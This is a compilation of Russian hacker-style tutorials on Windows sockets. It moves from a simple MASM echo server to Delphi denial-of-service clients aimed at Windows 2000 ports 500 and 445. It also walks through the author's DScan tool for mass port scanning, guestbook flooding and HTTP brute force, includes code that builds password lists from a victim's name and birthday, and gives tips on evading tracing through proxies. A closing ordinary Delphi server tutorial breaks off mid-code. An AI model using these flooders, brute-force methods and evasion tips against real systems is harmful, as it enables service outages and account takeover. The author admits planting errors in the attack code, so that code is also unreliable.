Рассмотрим пример простейшего сервера на MASM (почему на MASM - смотри мои статьи по BackDoor). Используется блокирующий сокет, с реакцией на соединение, получение данных от клиента и разрыв связи. Реакция на эти действия производится в функции обработки оконных сообщений, которую мы связываем с сокетом функцией WSAAsyncSelect (см. первую статью). Этот наш сервер будет реагировать на соединение и получение данных от клиента тем, что будет отвечать строкой 'hello'. Вот исходники на MASM:

.386
.model flat,stdcall
option casemap:none
; Подгружаемые модули
; ВНИМАНИЕ!!! необходимо правильно прописать пути к файлам *.lib и *.inc
include \masm32\include\windows.inc
include \masm32\include\wsock32.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\wsock32.lib
; ФУНКЦИЯ создания окна
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
; КОНСТАНТЫ
.DATA 
Hello db "Hello",0
ClassName db "DTR13Class",0
AppName db "DTR13",0
IconName db "TDIcon",0
wsadata WSADATA <>
sin sockaddr_in <>
WM_SOCKET equ WM_USER + 100
; ПЕРЕМЕННЫЕ
.DATA?
hInstance dd ?
CommandLine dd ?
sock dd ?
client dd ?
BufStr db 6666 dup (?) ; Буфер приема
Port dd ? ; Порт
; Раздел кода
.CODE
start: 
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax
;---------------------------------------
WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
; Создадим окно для обработки сообщений
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,hInstance,addr IconName
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
; Создать маленькое окно
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,WS_OVERLAPPEDWINDOW,500,400,100,50,NULL,NULL,hInst,NULL
mov hwnd,eax
; Показать окно
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
; Инициализация сокетных функций
invoke WSAStartup,101h,addr wsadata
invoke socket,AF_INET,SOCK_STREAM,0
mov sock,eax
; реакция на соединенрие, получение данных и закрытие сокета
invoke WSAAsyncSelect,sock,hwnd,WM_SOCKET,FD_ACCEPT+FD_READ+FD_CLOSE
mov sin.sin_family,AF_INET
;порт = 10001
mov Port,10001
invoke htons,Port
mov sin.sin_port,ax
; Адрес - любой для сервера
mov sin.sin_addr,INADDR_ANY
; Связь адресов и порта с сервером
invoke bind, sock,addr sin,sizeof sin
invoke listen,sock,SOMAXCONN
; Цикл обработки сообщений от m$ windows
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp
;---------------------------------------
; Функция обработки сообщений окну
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
; Реакция на создание окна
.IF uMsg == WM_CREATE
; Реакция на закрытие проги
.ELSEIF uMsg == WM_DESTROY
invoke WSACleanup
invoke PostQuitMessage,NULL
; Реакция на сообщение от сокета 
.ELSEIF uMsg == WM_SOCKET
mov eax,lParam
; Соединение
.IF ax == FD_ACCEPT
shr ax,16
.IF ax == NULL
; При соединении инициализируем сокет и отправим клиенту строку
invoke accept,sock,0,0
mov client,eax
invoke send,client,addr Hello,sizeof Hello,0
invoke Sleep,10
.ENDIF
; Реакция на получение данных от клиента
.ELSEIF ax == FD_READ
; Обнулим буфер для получения
mov ecx,6666
mov edi,offset BufStr
lll: mov byte ptr [edi],0
inc edi
loop lll
mov eax,wParam
mov client,eax 
; Получим данные в BufStr
invoke recv,client,addr BufStr,sizeof BufStr,0
; При ошибке - получим еще раз
.IF eax == SOCKET_ERROR
invoke recv,client,addr BufStr,sizeof BufStr,0
.ENDIF
; Отправим клиенту строку
invoke send,client,addr Hello, sizeof Hello, 0
invoke Sleep,10 
; Реакция на разрыв соединения
.ELSEIF ax == FD_CLOSE
mov eax,wParam
; Закроем сокет
invoke closesocket, eax
.ENDIF
.ELSEIF
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
END start

Компилим, запускаем. Должно появиться маленькое окно. Теперь можно написать клиент или просто соединиться TelNet-ом на 10001 порт. Сервер при соединении и посылке ему любых данных, будет слать обратно строку "Hello". Можно этот код переписать на Delphi или C - все используемые функции из ядра виндов. Отличается только синтаксис. Также следует отметить, что принцип действия всех серверов и в никсах и в виндах примерно одинаков. Поняв принцип работы одного - примерно понимаешь принцип работы всех.

"Грабли" сервера

Мы примерно поняли принцип работы серверов. Теперь рассмотрим наиболее распространенные ошибки при написании этих самых серверов. Серверу надо принять столько данных, сколько мы ему послали. Так как принимает сервер их частями и в функции реакции на прием данных в рассмотренном выше примере их нельзя как-то докачать (после срабатывания FD_READ, recv для докачки не может получить из стека остальные данные потому, что еще не была вызвана функция получения сообщения от винды и доступ к очереди сокета закрыт). Значит необходимо хранить где-то все сокетные соединения и часть уже пришедших на них данных и при срабатывании FD_READ, накапливать эти данные. При достижении необходимого размера или комбинации символов, соответствующих сигналу конца пакета, соответственно реагировать. Структура сервера при этом усложнится. Необходимо выбрать для себя режим работы с пакетами - по размеру или по определенной комбинации символов - признак окончания пакета. Теперь о самом главном. В виндоуз есть несколько очень уникальных WinAPI функций, которые допускают DoS. Это функции lstr..., printf и прочие. Для сервера, нас интересуют именно функции для работы со строками с нулевым символом на конце (lstr...). Например, буфер накопления данных от клиента имеет определенный размер. И сервер понимает окончание пакета, как получение от клиента куска данных этого размера. Пока не накопит - не реагирует. Можно подобрать размер отправляемых данных таким образом, что накапливаемые данные превысят размер буфера, попадут в область кода или в область других данных и произойдет выполнение определенных команд или отказ работы всего сервера. Если в конце принимаемого пакета обязательно должна стоять определенная комбинация символов, то посылая большие куски данных, не содержащие эти символы, мы также можем сделать переполнение буфера. Также можно поиздеваться над сервером, посылая данные с разными флагами (например, MSG_OOB - самый простой Nuke на 139 порт), попробовать инициализировать соединение как UDP, ICMP и т.д. и т.п. Есть целый ряд уязвимостей различных сервисов, основанных на этом принципе. В основном, это способы удаленного отказа работы сервера. Найти уязвимость, заставляющую сервер исполнять определенный кусок данных, переполнив буфер - это высший пилотаж. В следующей статье будут рассмотрены несколько самых простых примеров удаленного отказа в обслуживании.

В следующей статье я рассмотрю работу с неблокирующими сокетами. Как пример, будет рассмотрена уязвимость w2k, приводящая к зависанию всей системы в целом.

P.S. Статья и программы предоставлены в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

Сокеты 3 (Кодинг неблокирующих сокетов).

Автор: Danil WEB-сайт: http://www.danil.dp.ua
Сидит компания инетчиков в кафешке, пиво пьют, отдыхают. Тут один шутит. Все молчат. Минуту молчат, две, три, не шевелясь. Наконец один из них смеется. - Ты чего так долго молчал? - спрашивает рассказчик. - Да коннект плохой, наладить не мог...

Удаленный отказ работы

Рассмотрим пример 2 дырок в win2k. Описание можно взять на DoS против Microsoft Windows 2000 и DoS против Microsoft Windows 2000 Internet Key Exchange. В код будут добавленны небольшие преднамеренные ошибки (на всякий случай), но после внимательного прочтения статей, проблем с этим быть не должно. Рассмотрим сначала вторую уязвимость и напишем "клиент" на блокирующем сокете. Порт - 500, UDP. Будут использованы функции из первой и второй статей. Вот исходники на Delphi:

program IKE_attack;
uses
  WinSock;
const MyComp = 'ADDRESS';
var
  wsadata : TWSAData;
  sin: TSockAddrIn;
  sock: TSocket;
  I : Cardinal;
  Buf : string;
begin
  WSAStartUp(257, wsadata);
  // Инициализируем сокет для соединения с удаленным компьютером по UDP
  // Протокол - UDP, отправка данных - SOCK_DGRAM
  sock:=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
  sin.sin_family := AF_INET;
  // Порт - 500
  sin.sin_port := htons(500);
  // Преобразуем адрес в четырехбайтное число с помощью функции,
  // рассмотреной в первой статье
  sin.sin_addr.S_addr:=d_addr(MyComp);
  // Соединение
  I:=connect(sock,sin,sizeof(sin));
  // если нельзя соединиться - выход
  if Ithen
    halt(1);
  // Формирование мусора для отсылки
  Buf:='';
  for I:=1 to 1024 do
    Buf:=Buf+chr(30+round(60));
  // Посылка мусора с помощью функции,
  рассмотренной во второй статье
  while true do
    DTrsend(Buf,1024,sock);
end.

Все просто. Инициализируем сокет для UDP, соединяемся и отправляем на 500 порт мусор, длинной 1024 байта. Теперь рассмотрим первую уязвимость и напишем "клиента", с использованием неблокирующих сокетов. Соединение - TCP, порт - 445. Будем использовать 250 синхронных сокетов, которые будут инициализироваться, соединяться и посылать буфер из 8500 нулевых символов. Как и в предыдущем примере, выход из программы написать в лом и программу придется, если что, прерывать через TaskManager. Исходя из теории в предыдущих статьях, нам потребуется массив из 250 сокетов и массив, в котором мы будем хранить флаги. Флаги нам нужны для линейной работы сокета. В данном конкретном случае, нужно 3 флага - сокет закрыт, идет соединение, соединение произошло - нужно отправить буфер данных и поставить флаг "сокет закрыт". В цикле идет постоянный опрос по select - в каком состоянии находится сокет с последующей установкой соответствующих флагов и выполнением неблокирующих операций сокетов. Рассмотрим для простоты на одном сокете. Идет инициализация, переход в неблокирующий режим, запуск connect на соединение и установка флага "сокет соединяется". Если по select получили, что уже соединились и можно отправить данные, то происходит установка флага "сокет соединился". В цикле, если встречается флаг "сокет соединился", то происходит отправка данных, установка флага "сокет закрыт" и закрытие сокета. ВНИМАНИЕ!!! Перед закрытием, сокет необходимо перевести в блокирующий режим. Вот исходники на Delphi с подробными комментариями:

program port445TCP;
uses
  WinSock;
const
  maxproccess=250; // Количество процессов
  // Флаги
  CLOSE_SOCK=0;
  CONNECTING_SOCK=1;//
  CONNECTED_SOCK=2; //
  // Таймаут
  TIME_OUT=10;
var
  // Массив сокетов
  sock : array [1..maxproccess] of TSocket;
  // Массив флагов
  stat : array [1..maxproccess] of Byte;
  time : array [1..maxproccess] of Byte;
  wsa:WSAData;
  addr : Tsockaddr;
  x : integer;
  // Сигнал блокировки сокета
  on_sock : LongInt = 1;
  off_sock : LongInt = 0;
  wfds_empty : Boolean;
  wfds : Tfdset;
  tv : Ttimeval;
  buf : array[1..8500] of char;
begin
  // Обнулим буфер отправки
  FillChar(Buf,8500,0);
  WSAStartup($101,wsa);
  // Начальная установка флагов
  for x:=1 to maxproccess do
    stat[x]:=CLOSE_SOCK;
  >repeat // бесконечный цикл
    // Инициализация сокетов
    for x:=1 to maxproccess do
    begin
      // Если сокет свободен
      if stat[x]=CLOSE_SOCK then
      begin
        sock[x]:=socket(AF_INET,SOCK_STREAM,0);
        time[x]:=TIME_OUT;
        // ВНИМАНИЕ!!! Перевод сокета в неблокирующий режим
        ioctlsocket(sock[x],FIONBIO,on_sock);
        addr.sin_family:=AF_INET;
        // Порт
        addr.sin_port:=htons(455);
        // Здесь необходимо указать адрес и используется функция
        // преобразования адреса из первой статьи
        addr.sin_addr.s_addr:=d_addr('ADDRESS');
        // Неблокирующее соединение
        connect(sock[x],addr,sizeof(addr));
        stat[x]:=CONNECTING_SOCK;
      end;
    end;
    // Использование макросов FD_ для установок и проверки
    // нужно ли делать select
    FD_ZERO(wfds);
    wfds_empty:=true;
    for x:=1 to maxproccess do
    begin
      if stat[x]=CONNECTING_SOCK then
      begin
        FD_SET(sock[x],wfds);
        wfds_empty:=false;
      end;
    end;
    // select-ируем сокеты с флагом "сокет соединяется",
    // с установкой таймаута и проверкой на
    // возможность отсылки данных
    if not wfds_empty then
    begin
      tv.tv_sec:=1;
      tv.tv_usec:=0;
      select(0,nil,@wfds,nil,@tv);
    end;
    // Проверка тайм-аута
    for x:=1 to maxproccess do
    begin
      if stat[x]<>CLOSE_SOCK then
      begin
        dec(time[x]);
        // Если время на соединение истекло -
        // закрываем сокет с установкой флага
        if time[x]=0 then
        begin
          stat[x]:=CLOSE_SOCK;
          // ВНИМАНИЕ!!! Перевод сокета в блокирующий режим
          // перед закрытием
          ioctlsocket(sock[x],FIONBIO,off_sock);
          closesocket(sock[x]);
        end;
      end;
      // Проверка на соединение (соединились ли уже)
      if stat[x]=CONNECTING_SOCK then
      begin
        // Если соединение уже произошло и можно отправлять данные -
        // установим флаг
        if FD_ISSET(sock[x],wfds) then
          stat[x]:=CONNECTED_SOCK;
      end;
      // Проверка на возможность отправки
      if stat[x]=CONNECTED_SOCK then
      begin
        FD_CLR(sock[x],wfds); // обнулим буфер сокета
        send(sock[x],buf[1],8500,0);
        // Отправка данных и закрытие сокета
        stat[x]:=CLOSE_SOCK;
        // ВНИМАНИЕ!!! Перевод сокета в блокирующий режим
        // перед закрытием
        ioctlsocket(sock[x],FIONBIO,off_sock);
        closesocket(sock[x]);
      end;
    end;
  until
    false;
end.

Это самый простейший пример - только отправка. Для использования приема, необходимо подключить большее количество флагов и второй параметр select. В этом коде также нет проверки ошибок, но дописать код - это уже детали. Не хотелось излишне загромождать исходники.

Клиент на синхронном сокетном движке

Более подробную информацию о неблокирующих сокетах и разных примерах их использования, можно получить посмотрев исходники моей программы "DScan" v.1.3. Для создания сокетного движка использовались неблокирующие сокеты, работающие на отдельных потоках для каждого сервиса программы. По программе "DScan" версий 1.2 и 1.3, можно оценить скорость и устойчивость двух разных подходов к программированию сокетных движков. Теоретически, преимущества и недостатки я рассматривал в предыдущих статьях.

В следующей статье я рассмотрю работу с неблокирующими сокетами. Как пример, будет рассмотрена уязвимость w2k, приводящая к "синему экрану".

P.S. Статья и программы предоставлены в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

Сокеты 4 (Использование DScan).

Автор: Danil WEB-сайт: http://www.danil.dp.ua
- Миколо, ты що свою домашню строныцю на домен "ru" засувов? - А шо? - Так то ж "Раша"! - От, гады! А я думав, Ридно Украина!

В этой статье я расскажу примеры использования моей программы "DScan". Вместе с исходниками и предыдущими статьями так будет легче понять принцип работы сокетного движка. Первые статьи и исходники можно взять на http://www.danil.dp.ua

Сканер по диапазону

Сканер по диапазону портов или адресов предназначен для определения открытых портов на удаленном компьютере или открытого определенного порта по диапазону адресов. Таким образом можно просканировать весь диапазон адресов провайдера на 139 открытый порт. Или 10001 (DTr). Или по порту BO, LamerDeath и т.п. Для этого необходимо указать диапазон адресов в спецификации ip4 (xxx.xxx.xxx.xxx) и порт. Сканирование осуществляется в многопоточном режиме по изменению последнего значения. Количество потоков можно задать и оно зависит от скорости соединения. В версии 1.3 сканирование реализовано через неблокирующие сокеты (см. предыдущие статьи). Сканирование по диапазону портов в основном предназначено для определения установленных сервисов на удаленном компьютере. Таким образом можно выяснить и операционную систему компьютера, подключен ли он еще и в локальную сеть, установлен ли Apach, E-mail-SERVER, FireWall и т.д.

Сканер по выбранным портам

То же самое, что и сканер по диапазону портов, но можно задавать значения только тех портов, по которым необходимо просканировать удаленный компьютер. В версии 1.3 добавлена многопоточность сканирования и алгоритм написан на неблокирующем сокетном движке.

Универсальный TCP-клиент

После определения открытых портов на удаленном компьютере, можно с помощью универсального TCP-клиента выяснить тип установленного сервиса, протокол обмена данными, его ответ на попытку соединения, сколько байт отправляет при соединении, сколько получает и т.д. Может работать как TelNet-клиент, e-mail-клиент, броузер, клиент различных BackDoor, Whois-клиент и т.п. В общем - универсальный клиент. Также есть опции отправки/приема данных в виде Out-of-Band. Можно указать разное окончание отправляемого пакета и сгенерировать данные случайным образом. Область применения очень обширна.

Флудер

Два примера использования можно взять в третьей статье по этой теме. Также он может использоваться для флуда чата, гостевой и т.п. Принцип работы - посылка на указанный адрес и открытый порт указанного кол-ва сформированных пакетов. Пакеты можно формировать случайным образом, заполнять нулями, #1, #13, #10, буквой A, #10#13, /n, или пробелами. Справа и слева сформированных данных можно ввести обязательные для этого пакета данные (для чатов, гостевых и т.д.). Вот пример. Возьму мою гостевую книгу на http://www.danil.dp.ua. После некоторых исследований port-mapper-ом, можно получить, что url для добавления -

GET http://www.danil.dp.ua/cgi-bin/add.pl?name=1111&email=E-MAIL&hpu=http%3A%2F%2F&city=CITY&country=COUNTRY&comments=COMMENTS&action=add. 
Теперь можно сформировать соответствующий запрос в разделе "Send": в первое поле ввода введем
GET http://www.danil.dp.ua/cgi-bin/add.pl?name=1111&email=E-MAIL&hpu=http%3A%2F%2F& city=CITY&country=COUNTRY&comments=
, во втором - random, в третьем - "&action=add". Теперь флудер будет посылать сформированное случайным образом поле "Комментарии". Окончание - #10. Осталось поставить кол-во Thread - 250 и Count of send - 1. Запустить. Теперь прога просто зафлудит гостевую. Моя гостевая приведена для примера и на ней лучше этого не делать. Там куча проверок, режим премодерирования (удалить весь флуд у меня займет пару минут). Обычно есть определение IP-адреса. Поэтому лучше работать через прокси (см. ниже) или с карточки на пару часов инета.

Брутфорс

Предназначен для определения пароля по словарю. Недостатки этого метода я рассмотрел в своей статье Взлом мыла. НО: во-первых не все используют сложные пароли, а во-вторых есть так называемая "Защита от брута", которая перекрывает сервис при определении попытки брутфорса. Иногда такая защита может перекрыть доступ и зарегистрированному пользователю. Как например, в mail.ru. При попытке брутфорса по POP3, даже зарегистрированный пользователь потом не может по POP3 получить свою почту. Приходится получать через бройзер, ну а здесь можно послать письмо с соответствующим скриптом. Или на чате, форуме и т.п. пароль достаточно простой - цифры. Тогда это несколько тысяч или сотен тысяч значений, которые при многопоточном брутфорсе подобрать вполне реально - от часа до суток. В общем, иногда очень полезная вещь. В инете есть очень много разных файлов с паролями, но лучше ими не пользоваться, а формировать самому. Практически у всех есть ICQ. По поиску можно получить имя, дату рождения и т.д. Пусть у нас есть только имя (например Danil :-)). Мы не знаем больше ничего. Но попытаемся попробовать сформировать некоторый файл с паролями. По моим наблюдениям, очень часто указывают пароль как имя+цифры. Например, цифры - день и месяц рождения. Вот небольшая программа на Delphi, которая формирует файл паролей:

procedure PassCreate;
const
  name = 'danil';
  file = 'pass.txt';
var
  PassList : TStringList;
  I, J : Integer;
begin
  PassList:=TStringList.Create;
  PassList.Clear;
  PassList.Add(name);
  // Цикл по месяцу и дате рождения
  for I:=1 to 12 do
    for J:=1 to 31 do
      PassList.Add(name+IntToStr(J)+IntToStr(I));
  PassList.SaveToFile(file);
  PassList.Free;
end;

Немного переделав, можно сделать добавление нулей при значении <10, формировать трех, черырех-значное число случайным образом, поставить цифры вначале и т.д. Можно просто сформировать файл паролей из цифр. Можно добавить стандарты типа qwerty, 1234, 4321, asdf и т.д. В общем, как повезет. С ftp и pop3 брутом надеюсь все понятно. Можно переделать исходники и под TelNet. Рассмотрим HTTP-брутфорс. Например есть такая конструкция проверки пароля:

<form action="cgi-bin/pass.cgi" method=post> <b>Авторизация:</b><br><br> <b>Имя :</b><input type=text name=name size=40><br> <b>Пароль:</b><input type=password name=password size=40><br><br> <input type=submit value="Отправить"> </form>

Мы видим, что скрипт проверки парля находится на www.domain.com/cgi-bin/pass.cgi. Через port-mapper или просмотрев на хтмл, мы видим, что url выглядит так: http://www.domain.com/cgi-bin/pass.cgi?name=NAME&password=PASSWORD. Нам надо перебрать поле PASSWORD. Введем непрвальный пароль и посмотрим ответ сервера. Перейдем на закладку Universal Client, соединимся с www.domain.com и пошлем POST url. Посмотрим ответ сервера. Там будет что-то типа "Password incorrect". При правильном пароле такого наверное не должно быть. Он должен написать что-то типа "Password is incorrect". HTTP-брутфорс в "DScan" допускает использование прокси прямо в программе. Таким образом можно заполнить поля прокси-сервера и сервера для работы, в первом поле отправки поставить http://www.domain.com/cgi-bin/pass.cgi?name=NAME&password=, указать файл паролей, в соответствующем поле указать ответ сервера на неверный пароль и начать сканирование. HTTP-брутфорс можно также использовать для закрытых паролем ресурсов. С помощью port-mapper определить url и поставить в поле "Сообщение при неверном пароле" - 500. Это стандартный ответ web-сервера при недоступном ресурсе. Также его можно использовать как CGI-сканер. Только вместо файла паролей необходимо указать файл, содержащий url к скриптам с ошибками. В первом поле отправки, в случае необходимости нужно поставить "/" (если скрипты в файле не начинаются с "/"). Ответ сервера на несуществующий скрипт - "500" или "404 Not Found" (необходимо сначала посмотреть через универсальный клиент). Таким образом, перебирая запросы к серверу, можно получить список установленных скриптов с ошибками. Список уязвимых скриптов и описание использований уязвимостей, можно взять в интернете на сайтах, посвященных безопасности.

Анонимность

Прокси. Для HTTP-брутфорсера - встроенно в программу. Для остального - надо использовать SOCKS5-прокси. Всю информацию по использованию и настройке можно почитать здесь. Если скорость бесплатных прокси не устраивает, то можно обойтись и без них. Только администраторы могут определить обратный IP-адрес и наказать. Поэтому лучше использовать инет-карты на пару часов или работать с программой в компьютерном клубе, в котором не перекрыты сервером нужные порты.

Может быть в следующей статье я рассмотрю работу с датаграммами, функции sendto/recvto, подделку пакетов, работу с сокетом без connect и т.п.

P.S. Статья и программы предоставлены в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

Сокеты в Delphi.

Данная статья посвящена созданию приложений архитектуры клиент/сервер в Borland Delphi на основе сокетов ("sockets" - гнезда). В отличие от предыдущей статьи на тему сокетов, здесь мы разберем создание серверных приложений.

Следует сразу заметить, что для сосуществования отдельных приложений клиента и сервера не обязательно иметь несколько компьютеров. Достаточно иметь лишь один, на котором Вы одновременно запустите и сервер, и клиент. При этом нужно в качестве имени компьютера, к которому надо подключиться, использовать хост-имя localhost или IP-адрес - 127.0.0.1.

Итак, начнем с теории. Если Вы убежденный практик (и в глаза не можете видеть всяких алгоритмов), то Вам следует пропустить этот раздел.

Алгоритм работы сокетного сервера

Что же позволяет делать сокетный сервер?.. По какому принципу он работает?.. Сервер, основанный на сокетном протоколе, позволяет обслуживать сразу множество клиентов. Причем, ограничение на их количество Вы можете указать сами (или вообще убрать это ограничение, как это сделано по умолчанию). Для каждого подключенного клиента сервер открывает отдельный сокет, по которому Вы можете обмениваться данными с клиентом. Также отличным решением является создание для каждого подключения отдельного процесса (Thread).

Ниже следует примерная схема работы сокетного сервера в Дельфи-приложениях:

Разберем схему подробнее:

Определение св-в Port и ServerType - чтобы к серверу могли нормально подключаться клиенты, нужно, чтобы порт, используемый сервером точно совпадал с портом, используемым клиентом (и наоборот). Свойство ServerType определяет тип подключения (подробнее см.ниже); Открытие сокета - открытие сокета и указанного порта. Здесь выполняется автоматическое начало ожидания подсоединения клиентов (Listen); Подключение клиента и обмен данными с ним - здесь подключается клиент и идет обмен данными с ним. Подробней об этом этапе можно узнать ниже в этой статье и в статье про сокеты (клиентская часть); Отключение клиента - Здесь клиент отключается и закрывается его сокетное соединение с сервером; Закрытие сервера и сокета - По команде администратора сервер завершает свою работу, закрывая все открытые сокетные каналы и прекращая ожидание подключений клиентов. Следует заметить, что пункты 3-4 повторяются многократно, т.е. эти пункты выполняются для каждого нового подключения клиента.

Примечание: Документации по сокетам в Дельфи на данный момент очень мало, так что, если Вы хотите максимально глубоко изучить эту тему, то советую просмотреть литературу и электронную документацию по Unix/Linux-системам - там очень хорошо описана теория работы с сокетами. Кроме того, для этих ОС есть множество примеров сокетных приложений (правда, в основном на C/C++ и Perl).

Краткое описание компонента TServerSocket

Здесь мы познакомимся с основными свойствами, методами и событиями компонента TServerSocket.

Свойства Методы События:

Socket класс TServerWinSocket, через который Вы имеете доступ к открытым сокетным каналам. Далее мы рассмотрим это свойство более подробно, т.к. оно, собственно и есть одно из главных. Тип: TServerWinSocket; ServerType тип сервера. Может принимать одно из двух значений: stNonBlocking - синхронная работа с клиентскими сокетами. При таком типе сервера Вы можете работать с клиентами через события OnClientRead и OnClientWrite. stThreadBlocking - асинхронный тип. Для каждого клиентского сокетного канала создается отдельный процесс (Thread). Тип: TServerType; ThreadCacheSize количество клиентских процессов (Thread), которые будут кэшироваться сервером. Здесь необходимо подбирать среднее значение в зависимости от загруженности Вашего сервера. Кэширование происходит для того, чтобы не создавать каждый раз отдельный процесс и не убивать закрытый сокет, а оставить их для дальнейшего использования. Тип: Integer; Active показатель того, активен в данных момент сервер, или нет. Т.е., фактически, значение True указывает на то, что сервер работает и готов к приему клиентов, а False - сервер выключен. Чтобы запустить сервер, нужно просто присвоить этому свойству значение True. Тип: Boolean; Port номер порта для установления соединений с клиентами. Порт у сервера и у клиентов должны быть одинаковыми. Рекомендуются значения от 1025 до 65535, т.к. от 1 до 1024 - могут быть заняты системой. Тип: Integer; Service строка, определяющая службу (ftp, http, pop, и т.д.), порт которой будет использован. Это своеобразный справочник соответствия номеров портов различным стандартным протоколам. Тип: string; Open Запускает сервер. По сути, эта команда идентична присвоению значения True свойству Active; Close Останавливает сервер. По сути, эта команда идентична присвоению значения False свойству Active. OnClientConnect возникает, когда клиент установил сокетное соединение и ждет ответа сервера (OnAccept); OnClientDisconnect возникает, когда клиент отсоединился от сокетного канала; OnClientError возникает, когда текущая операция завершилась неудачно, т.е. произошла ошибка; OnClientRead возникает, когда клиент передал берверу какие-либо данные. Доступ к этим данным можно получить через пеаедаваемый параметр Socket: TCustomWinSocket; OnClientWrite возникает, когда сервер может отправлять данные клиенту по сокету; OnGetSocket в обработчике этого события Вы можете отредактировать параметр ClientSocket; OnGetThread в обработчике этого события Вы можете определить уникальный процесс (Thread) для каждого отдельного клиентского канала, присвоив параметру SocketThread нужную подзадачу TServerClientThread; OnThreadStart, OnThreadEnd возникает, когда подзадача (процесс, Thread) запускается или останавливается, соответственно; OnAccept возникает, когда сервер принимает клиента или отказывает ему в соединении; OnListen возникает, когда сервер переходит в режим ожидания подсоединения клиентов.

TServerSocket.Socket (TServerWinSocket)

Итак, как же сервер может отсылать данные клиенту? А принимать данные? В основном, если Вы работаете через события OnClientRead и OnClientWrite, то общаться с клиентом можно через параметр ClientSocket (TCustomWinSocket). Про работу с этим классом можно прочитать в статье про клиентские сокеты, т.к. отправка/посылка данных через этот класс аналогична - методы (Send/Receive)(Text,Buffer,Stream). Также и при работе с TServerSocket.Socket. Однако, т.к. здесь мы рассматриваем сервер, то следует выделить некоторые полезные свойства и методы:

ActiveConnections (Integer) количество подключенных клиентов; ActiveThreads (Intеgег) количество работающих процессов; Connections (array) - массив, состоящий из отдельных классов TClientWinSocket для каждого подключенного клиента. Например, такая команда:
ServerSocket1.Socket.Connections[0].SendText('Hello!');
отсылает первому подключенному клиенту сообщение 'Hello!'. Команды для работы с элементами этого массива - также (Send/Receive)(Text,Buffer, Stream); IdleThreads (Integer) количество свободных процессов. Такие процессы кэшируются сервером (см. ThreadCacheSize); LocalAddress, LocalHost, LocalPort соответственно - локальный IP-адрес, хост-имя, порт; RemoteAddress, RemoteHost, RemotePort соответственно - удаленный IP-адрес, хост-имя, порт; Методы Lock и UnLock соответственно, блокировка и разблокировка сокета.

Практика и примеры

А теперь рассмотрим вышеприведенное на конкретном примере. Скачать уже готовые исходники можно, щелкнув здесь.

Итак, рассмотрим очень неплохой пример работы с TServerSocket (этот пример - наиболее наглядное пособие для изучения этого компонента). В приведенных ниже исходниках демонстрируется протоколирование всех важных событий сервера, плюс возможность принимать и отсылать текстовые сообщения:

Пример 1. Протоколирование и изучение работы сервера, посылка/прием сообщений через сокеты.

{... Здесь идет заголовок файла и определение формы TForm1 и ее экземпляра Form1} procedure TForm1.Button1Click(Sender: TObject); begin {Определяем порт и запускаем сервер} ServerSocket1.Port := 1025; {Метод Insert вставляет строку в массив в указанную позицию} Memo2.Lines.Insert(0, 'Server starting'); ServerSocket1.Open; end; procedure TForm1.Button2Click(Sender: TObject); begin {Останавливаем сервер} ServerSocket1.Active := False; Memo2.Lines.Insert(0, 'Server stopped'); end; procedure TForm1.ServerSocket1Listen(Sender: TObject; Socket: TCustomWinSocket); begin {Здесь сервер "прослушивает" сокет на наличие клиентов} Memo2.Lines.Insert(0, 'Listening on port ' + IntToStr(ServerSocket1.Port)); end; procedure TForm1.ServerSocket1Accept(Sender: TObject; Socket: TCustomWinSocket); begin {Здесь сервер принимает клиента} Memo2.Lines.Insert(0, 'Client connection accepted'); end; procedure TForm1.ServerSocket1ClientConnect(Sender: TObject; Socket: TCustomWinSocket); begin {Здесь клиент подсоединяется} Memo2.Lines.Insert(0, 'Client connected'); end; procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject; Socket: TCustomWinSocket); begin {Здесь клиент отсоединяется} Memo2.Lines.Insert(0, 'Client disconnected'); end; procedure TForm1.ServerSocket1ClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); begin {Произошла ошибка - выводим ее код} Memo2.Lines.Insert(0, 'Client error. Code = ' + IntToStr(ErrorCode)); end; procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); begin {От клиента получено сообщение - выводим его в Memo1} Memo2.Lines.Insert(0, 'Message received from client'); Memo1.Lines.Insert(0, '> ' + Socket.ReceiveText); end; procedure TForm1.ServerSocket1ClientWrite(Sender: TObject; Socket: TCustomWinSocket); begin {Теперь можно слать данные в сокет} Memo2.Lines.Insert(0, 'Now can write to socket'); end; procedure TForm1.ServerSocket1GetSocket(Sender: TObject; Socket: Integer; var ClientSocket: TServerClientWinSocket); begin Memo2.Lines.Insert(0, 'Get socket'); end; procedure TForm1.ServerSocket1GetThread(Sender: TObject; ClientSocket: TServerClientWinSocket; var SocketThread: TServerClientThread); begin Memo2.Lines.Insert(0, 'Get Thread'); end; procedure TForm1.ServerSocket1ThreadEnd(Sender: 